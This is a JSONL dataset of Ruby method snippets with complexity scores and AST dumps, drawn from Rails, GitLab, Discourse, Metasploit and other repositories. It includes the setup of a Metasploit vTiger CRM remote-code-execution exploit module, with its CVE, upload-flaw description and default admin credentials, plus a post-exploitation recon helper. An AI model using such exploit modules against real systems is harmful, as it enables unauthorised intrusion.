{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":104,"raw_source":"def migrate(x)\n            change_table :testings do |t|\n              t.timestamps\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}","id":"a7c02556-47e1-47ba-adac-ba517712f418"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_else.rb","start_line":196,"raw_source":"def autocorrect_forbidden?(type)\n          [type, 'both'].include?(missing_else_style)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_forbidden?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"both\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"missing_else_style\"]}]}]}","id":"d60960b2-5a76-40b4-b2de-af951d107483"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":912,"raw_source":"def calculate_query_complexity(query_string)\n    query = GraphQL::Query.new(GitlabSchema, query_string)\n    analyzer = GraphQL::Analysis::AST::QueryComplexity\n    GraphQL::Analysis::AST.analyze_query(query, [analyzer]).first\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_query_complexity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Query\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"analyzer\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Analysis\"]},\"AST\"]},\"QueryComplexity\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Analysis\"]},\"AST\"]},\"analyze_query\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"analyzer\"]}]}]},\"first\"]}]}]}","id":"a627730e-ec0c-4104-9315-06dba5aab568"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vtiger_php_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',\n        'Description' => %q{\n          vTiger CRM allows an authenticated user to upload files to embed within documents.\n          Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP\n          script and execute arbitrary PHP code remotely.\n\n          This module was tested against vTiger CRM v5.4.0 and v5.3.0.\n        },\n        'Author' => [\n          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-3591'],\n          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']\n        ],\n        'Privileged' => false,\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Payload' => {\n          'BadChars' => \"&\\n=+%\",\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-10-30',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [ true, \"Base vTiger CRM directory path\", '/vtigercrm/']),\n        OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\n        OptString.new('PASSWORD', [ false, \"Password to authenticate with\", 'admin'])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          vTiger CRM allows an authenticated user to upload files to embed within documents.\\n\"]},{\"type\":\"str\",\"children\":[\"          Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP\\n\"]},{\"type\":\"str\",\"children\":[\"          script and execute arbitrary PHP code remotely.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was tested against vTiger CRM v5.4.0 and v5.3.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brandon Perry <bperry.volatile[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3591\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"&\\n=+%\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-10-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base vTiger CRM directory path\"]},{\"type\":\"str\",\"children\":[\"/vtigercrm/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]}","id":"492abae9-6df8-428f-b28c-1c567ec4ab55"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":1716,"raw_source":"def test_select_time_should_work_with_date\n    assert_nothing_raised { select_time(Date.today) }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_time_should_work_with_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"select_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]}]}]}","id":"84b6ef5e-2ea8-46d2-9311-1d7c30ff6593"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/reject_reason_reviewable.rb","start_line":14,"raw_source":"def fill_in_rejection_reason(reason)\n        modal.find(\".reject-reason-reviewable-modal__explain-reviewable textarea\").fill_in(\n          with: reason,\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_rejection_reason\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modal\"]},\"find\",{\"type\":\"str\",\"children\":[\".reject-reason-reviewable-modal__explain-reviewable textarea\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}","id":"ab5f016a-92e0-4f51-8bd1-661ab964eb6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/reverse_lookup.rb","start_line":51,"raw_source":"def unix_resolve_ip(ip)\n    return unless Rex::Socket.dotted_ip?(ip)\n\n    res = cmd_exec(\"host #{ip}\")\n\n    return if res.blank?\n\n    hostname = res.split(\"\\n\").first.split(' ').last\n\n    if hostname.blank? || !hostname.ends_with?('.')\n      print_error(\"Failed to resolve #{ip}\")\n      return\n    end\n\n    hostname.chomp('.')\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unix_resolve_ip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"dotted_ip?\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"first\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\".\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to resolve \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"chomp\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"ab207c1e-d6f7-4ae8-8cbd-4265771a435a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/user.rb","start_line":251,"raw_source":"def broadcast_revoke_sessions\n    if Settings.server.session_store == \"cache\"\n      MiqQueue.broadcast(\n        :class_name  => self.class.name,\n        :instance_id => id,\n        :method_name => :revoke_sessions\n      )\n    else\n      # If using SQL or Memory, the sessions don't need to (or can't) be\n      # revoked via a broadcast since the session/token stores are not server\n      # specific, so execute it inline.\n      revoke_sessions\n    end\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_revoke_sessions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"server\"]},\"session_store\"]},\"==\",{\"type\":\"str\",\"children\":[\"cache\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"broadcast\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"sym\",\"children\":[\"revoke_sessions\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"revoke_sessions\"]}]}]}","id":"51d3a521-921c-40f2-9b92-c8451fa6f14f"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/test/warden_helpers.rb","start_line":32,"raw_source":"def test_reset!\n        _on_next_request.clear\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_on_next_request\"]},\"clear\"]}]}","id":"d1fab957-2967-4253-ac6b-a5c264f12307"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_syslog.rb","start_line":323,"raw_source":"def create_test_case(large_message: false)\n    # actual syslog message has \"\\n\"\n    if large_message\n      [\n        {'msg' => '<6>Sep 10 00:00:00 localhost logger: ' + 'x' * 100 + \"\\n\", 'expected' => 'x' * 100},\n        {'msg' => '<6>Sep 10 00:00:00 localhost logger: ' + 'x' * 1024 + \"\\n\", 'expected' => 'x' * 1024},\n        {'msg' => '<6>Sep 10 00:00:00 localhost logger: ' + 'x' * 4096 + \"\\n\", 'expected' => 'x' * 4096},\n      ]\n    else\n      [\n        {'msg' => '<6>Sep 10 00:00:00 localhost logger: ' + 'x' * 100 + \"\\n\", 'expected' => 'x' * 100},\n        {'msg' => '<6>Sep 10 00:00:00 localhost logger: ' + 'x' * 1024 + \"\\n\", 'expected' => 'x' * 1024},\n      ]\n    end\n  end","complexity_score":29.75,"ast_json":"{\"type\":\"def\",\"children\":[\"create_test_case\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"large_message\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"large_message\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<6>Sep 10 00:00:00 localhost logger: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<6>Sep 10 00:00:00 localhost logger: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<6>Sep 10 00:00:00 localhost logger: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[4096]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[4096]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<6>Sep 10 00:00:00 localhost logger: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<6>Sep 10 00:00:00 localhost logger: \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]}]}]}]}]}","id":"0d7d0f9e-a091-44bc-813a-4f8e35255679"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/listable_topic_serializer.rb","start_line":144,"raw_source":"def include_excerpt?\n    pinned || SiteSetting.always_include_topic_excerpts ||\n      theme_modifier_helper.serialize_topic_excerpts\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"include_excerpt?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pinned\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"always_include_topic_excerpts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_modifier_helper\"]},\"serialize_topic_excerpts\"]}]}]}","id":"9b4df4a8-89b0-4c9a-99a4-81277c3fb8e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/event_store.rb","start_line":39,"raw_source":"def configure!(store)\n        ###\n        # Add subscriptions here:\n\n        store.subscribe ::MergeRequests::UpdateHeadPipelineWorker, to: ::Ci::PipelineCreatedEvent\n        # Currently it is used only for DuoWorkflows::Workflow. DuoWorkflows::Workflow, pipeline can never be in manual.\n        # That's why a constraint on manual is added. In future if this needs to be used at other places where manual\n        # needs to be considered, then remove the if block and just verify that DuoWorkflows::Workflow is working fine.\n        # Mostly it will be fine.\n        store.subscribe ::Ci::Workloads::UpdateWorkloadStatusEventWorker, to: ::Ci::PipelineFinishedEvent,\n          if: ->(event) { event.data[:status] != 'manual' }\n        store.subscribe ::Namespaces::UpdateRootStatisticsWorker, to: ::Projects::ProjectDeletedEvent\n\n        store.subscribe ::MergeRequests::ProcessAutoMergeFromEventWorker,\n          to: ::MergeRequests::AutoMerge::TitleDescriptionUpdateEvent\n        store.subscribe ::MergeRequests::ProcessAutoMergeFromEventWorker, to: ::MergeRequests::DraftStateChangeEvent\n        store.subscribe ::MergeRequests::ProcessAutoMergeFromEventWorker, to: ::MergeRequests::DiscussionsResolvedEvent\n        store.subscribe ::MergeRequests::ProcessAutoMergeFromEventWorker, to: ::MergeRequests::MergeableEvent\n        store.subscribe ::MergeRequests::CreateApprovalEventWorker, to: ::MergeRequests::ApprovedEvent\n        store.subscribe ::MergeRequests::CreateApprovalNoteWorker, to: ::MergeRequests::ApprovedEvent\n        store.subscribe ::MergeRequests::ResolveTodosAfterApprovalWorker, to: ::MergeRequests::ApprovedEvent\n        store.subscribe ::MergeRequests::ExecuteApprovalHooksWorker, to: ::MergeRequests::ApprovedEvent\n        store.subscribe ::Ml::ExperimentTracking::AssociateMlCandidateToPackageWorker,\n          to: ::Packages::PackageCreatedEvent,\n          if: ->(event) { ::Ml::ExperimentTracking::AssociateMlCandidateToPackageWorker.handles_event?(event) }\n        store.subscribe ::Ci::InitializePipelinesIidSequenceWorker, to: ::Projects::ProjectCreatedEvent\n        store.subscribe ::Pages::DeletePagesDeploymentWorker, to: ::Projects::ProjectArchivedEvent\n        store.subscribe ::Pages::ResetPagesDefaultDomainRedirectWorker, to: ::Pages::Domains::PagesDomainDeletedEvent\n        store.subscribe ::MergeRequests::ProcessDraftNotePublishedWorker, to: ::MergeRequests::DraftNotePublishedEvent\n\n        subscribe_to_member_destroyed_events(store)\n        subscribe_to_namespace_transfered_events(store)\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"UpdateHeadPipelineWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineCreatedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Workloads\"]},\"UpdateWorkloadStatusEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineFinishedEvent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"manual\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Namespaces\"]},\"UpdateRootStatisticsWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ProjectDeletedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ProcessAutoMergeFromEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"AutoMerge\"]},\"TitleDescriptionUpdateEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ProcessAutoMergeFromEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"DraftStateChangeEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ProcessAutoMergeFromEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"DiscussionsResolvedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ProcessAutoMergeFromEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"